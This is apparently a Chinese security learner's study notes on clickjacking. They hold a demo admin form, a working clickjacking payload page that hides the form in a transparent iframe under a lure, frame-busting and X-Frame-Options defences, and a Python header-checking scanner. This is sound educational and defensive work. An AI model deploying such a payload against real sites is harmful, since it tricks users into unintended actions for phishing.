前言:
放假了,上個星期剛剛學習完點擊劫持漏洞。沒來的及寫筆記,今天放學總結了一下
並寫了一個檢測點擊劫持的腳本。點擊劫持腳本說一下哈。= =原本是打算把網站源碼
中的js也爬出來將一些防御的代碼匹配一下。可惜,爬出來的js鏈接亂的一匹。弄了很久
也很亂。所以就沒有匹配js文件了。
漏洞介紹:
漏洞名稱:點擊劫持漏洞(Clicking hijacking)
級別:中級
漏洞用於場景:釣魚,欺騙。
《黑客攻防之瀏覽器篇》里有詳細的利用教程。
里面所介紹的工具做出來的payload能以假亂真
攻擊手法:在一個頁面的中嵌入一個iframe標簽,放入誘惑信息,引誘用戶點擊
漏洞復現:
index.html
<html> <head> <title>后台管理員添加</title> <style> body{ background-repeat: no-repeat;background-size: 100% 100%;background-attachment: fixed;} h2{ color:blue;text-align: center;} </style> </head> <body background="bei.jpg"> <h2>管理員添加</h2> <div style="text-align:center;"> <form action="x.php" method="POST"> <input type="text" required><br><br> <input type="password" required><br> <input type="submit" value="提交"> </div> </body> </html>
payload
將opacity設置為0.3可以看見你所填的
<html> <head> <title>點擊劫持</title> <style> iframe{ position: absolute;z-index: 2;top: 0px;left: 0px;width: 1800px;height: 900px;opacity: 0;filter: alpha(opacity=0);} button{ position: absolute;z-index: 1;top: 125px;left: 878px;} input{ position: absolute;z-index: 1;top: 65px;left: 820px;} body{ background-repeat:no-repeat;} </style> </head> <body> <div style="text-align:center"> <h2>靚麗美女賬號注冊</h2> </div> <input type="text"> <div style="position: absolute;z-index: 1;top: 43px;left: 5px;"> <input type="text"> </div> <button>注冊</button> <iframe src="http://127.0.0.1/jiechi/index.html"></iframe> </body> </html>
加上背景
漏洞防御:
1.加入js腳本防御
目前最好的js的防御方案為:
<head> <style> body { display : none;} </style> </head> <body> <script>
if (self == top) { var theBody = document.getElementsByTagName('body')[0];
theBody.style.display = "block"; } else { top.location = self.location; } </script>
2.添加X-FRAME-OPTIONS頭進行防御
X-FRAME-OPTIONS頭是微軟開發的,使用該頭后禁止頁面被iframe嵌套
防御結果
將index.html改為index.php,代碼改為
X-FRAME-OPTIONS頭使用說明: 1.DENY 拒絕任何域加載 2.SAMEORIHIN 同源下可以加載 3.ALLOW-FROM 可以定義允許frame加載的頁面
<?php header ( "X-FRAME-OPTIONS:DENY"); ?> <html> <head> <title>后台管理員添加</title> <style> body{ background-repeat: no-repeat;background-size: 100% 100%;background-attachment: fixed;} h2{ color:blue;text-align: center;} </style> </head> <body background="bei.jpg"> <h2>管理員添加</h2> <div style="text-align:center;"> <form action="x.php" method="POST"> <input type="text" required><br><br> <input type="password" required><br> <input type="submit" value="提交"> </div> </body> </html>
將payload.html的opacity設置為0.3
可以看到已經嵌套不了了。
檢測是否有點擊劫持漏洞的腳本
原理直接判斷是否有X-FROM-OPTIONS頭。如果沒有就有點擊劫持漏洞
並提醒使用者可能有js腳本防御請自行測試。
代碼:
import requests,tqdm,time,optparse def main(): usage='dianjijieci.py [-u url]' parser=optparse.OptionParser(usage) parser.add_option('-u',dest='url',help='The web site to be tested URL') (options,args)=parser.parse_args() if options.url: url=options.url jiechi(url) else: parser.print_help() def jiechi(url): urls="{}".format(url) headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'} reqst=requests.get(url=urls,headers=headers,timeout=6) if reqst.status_code == 200: print('[+]Target stability') try: hea=reqst.headers print(hea['X-FRAME-OPTIONS']) print('[n]X-FRAME-OPTIONS header, no click hijacking vulnerability can be used') except: print('[+]There is no X-FRAME-OPTIONS header. There is a clicking hijacking vulnerability') print('[!]Remind:It may be a defense against JS. Please test it yourself') else: print('[n]bjective instability') if __name__ == '__main__': main()
測試結果